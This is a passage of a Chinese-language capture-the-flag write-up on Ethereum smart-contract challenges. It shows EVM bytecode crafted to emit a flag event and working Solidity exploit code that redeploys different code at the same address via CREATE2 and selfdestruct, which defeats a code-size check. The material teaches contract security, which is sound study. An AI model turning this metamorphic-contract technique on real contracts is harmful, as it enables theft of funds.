            02EC    60  PUSH1 0x40        02EE    80  DUP1        02EF    51  MLOAD        02F0    33  CALLER        02F1    81  DUP2        02F2    52  MSTORE        02F3    90  SWAP1        02F4    51  MLOAD        02F5    7F  PUSH32 0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2                7F  PUSH32 0X7F0000000000100000000000000000000000000000000000000000000000000000                01  ADD         0316    91  SWAP2        0317    81  DUP2        0318    90  SWAP1        0319    03  SUB        031A    60  PUSH1 0x20        031C    01  ADD        031D    90  SWAP1        031E    A1  LOG1Code:  6040805133815290517F89814845d4e005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e27F0000000000100000000000000000000000000000000000000000000000000000019181900360200190A1

    然后部署字节码合约

    pragma solidity ^0.5.10;
    contract Attack{
        constructor(bytes memory a) payable public {        assembly {            return(add(0x20, a), mload(a))        }    }}

    然后在BoxGame 合约中调用payforflag就完成了。

    注意：delegatecall的时候是用的其他合约的bytecodes来操作的，而主合约自身的bytecodes就不再起作用了。关键在于理解ForFlag事件触发的EVM操作过程，了解字节码的操作。



    0x02Creativity

    • Code

    pragma solidity ^0.5.10;
    contract Creativity {    event SendFlag(address addr);
        address public target;    uint randomNumber = 0;
        function check(address _addr) public {        uint size;        assembly { size := extcodesize(_addr) }        require(size > 0 && size <= 4);        target = _addr;    }
        function execute() public {        require(target != address(0));        target.delegatecall(abi.encodeWithSignature(""));        selfdestruct(address(0));    }
        function sendFlag() public payable {        require(msg.value >= 100000000 ether);        emit SendFlag(msg.sender);    }}

    • Analyse

    这个题比较好玩，它需要我们构造一个target,然后用delegatecall去调用target。如果这个target可以任意构造，那么我们就可以通过delegatecall来触发事件发送flag，完成目标。但是，他要求我们构造的target的bytecodes<=4,这根本就不可能好不好。但是如果我们了解到一个知识点，，或许就可能了。

    知识：creat2，用法就是：create2(value, offset,length,salt)。

    合约地址由以下公式计算得出：keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]

    如果我们salt一样，合约的bytecodes一样那么是不是我们就创建了两个地址完全一样的合约了？

    pragma solidity ^0.5.10;
    contract Deployer {    bytes public deployBytecode;    address public deployedAddr;
        function deploy(bytes memory code) public {        deployBytecode = code;        address a;        // Compile Dumper to get this bytecode        bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';        assembly {            a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)        }        deployedAddr = a;    }}
    contract Dumper {    constructor() public {        Deployer dp = Deployer(msg.sender);        bytes memory bytecode = dp.deployBytecode();        assembly {            return (add(bytecode, 0x20), mload(bytecode))        }    }}

    可以看到我们在Deployer传入的code最终将会变成Dumper的bytecodes，这个创建方法真的很妙。这样既保证了我们需要的Dumper合约的bytecodes不变，又可以保证他的实际bytecode可以随意改变，真的太妙了。

    开始攻击:

    第一步 我们需要传入0x33ff,这个就是用来自毁的，创建好之后我们check一下，让攻击合约顺利通过，然后我们随便发一个transaction到Dumper使其自毁；

    第二步 保持bytecode不变,salt不变。我们重新creat2一个地址一样的Dumper合约，传入的code要触发sendFlag事件。然后完成合约。

    作者：靳俭凯

    编辑：舒婷



    原文始发于微信公众号（ChainSecLabs）：ChainFlag

    版权声明：admin 发表于 2024年5月13日 上午10:00。
    转载请注明：ChainFlag | CTF导航

    相关文章

    信息安全算法基础
    admin
    416
    Exploiting Developer Assumptions
    admin
    223
    零字节地址能节省 Gas – 深⼊理解以太坊 Gas 机制
    admin
    212
    基于以太坊的智能合约安全漏洞分析工具回顾
    admin
    447
    Blocksec CTFs
    admin
    549
    如何搭建以太坊测试环境
    admin
    629

    相关文章

    非法资金流动案例分析：$55M DAI 钓鱼事件
    0
    SDC2024 议题回顾 | 从硬件钱包到TrustZone：Web3密钥托管的安全挑战与解决方案
    0
    非法资金流动案例分析：Li.Fi Attack
    0
    零时科技 || Ramses 攻击事件分析
    0
    如何绕过数字钱包的安全支付机制 —— Usenix Security 24 论文导览
    0
    门罗币隐私保护之环签名
    0
    零时科技 || Radiant Capital 攻击事件分析
    0
    慢雾：Compound Finance V2 安全审计手册
    0
    新瓶装旧酒｜套利 MEV 机器人骗局
    0
    慢雾：貔貅盘防范指南
    0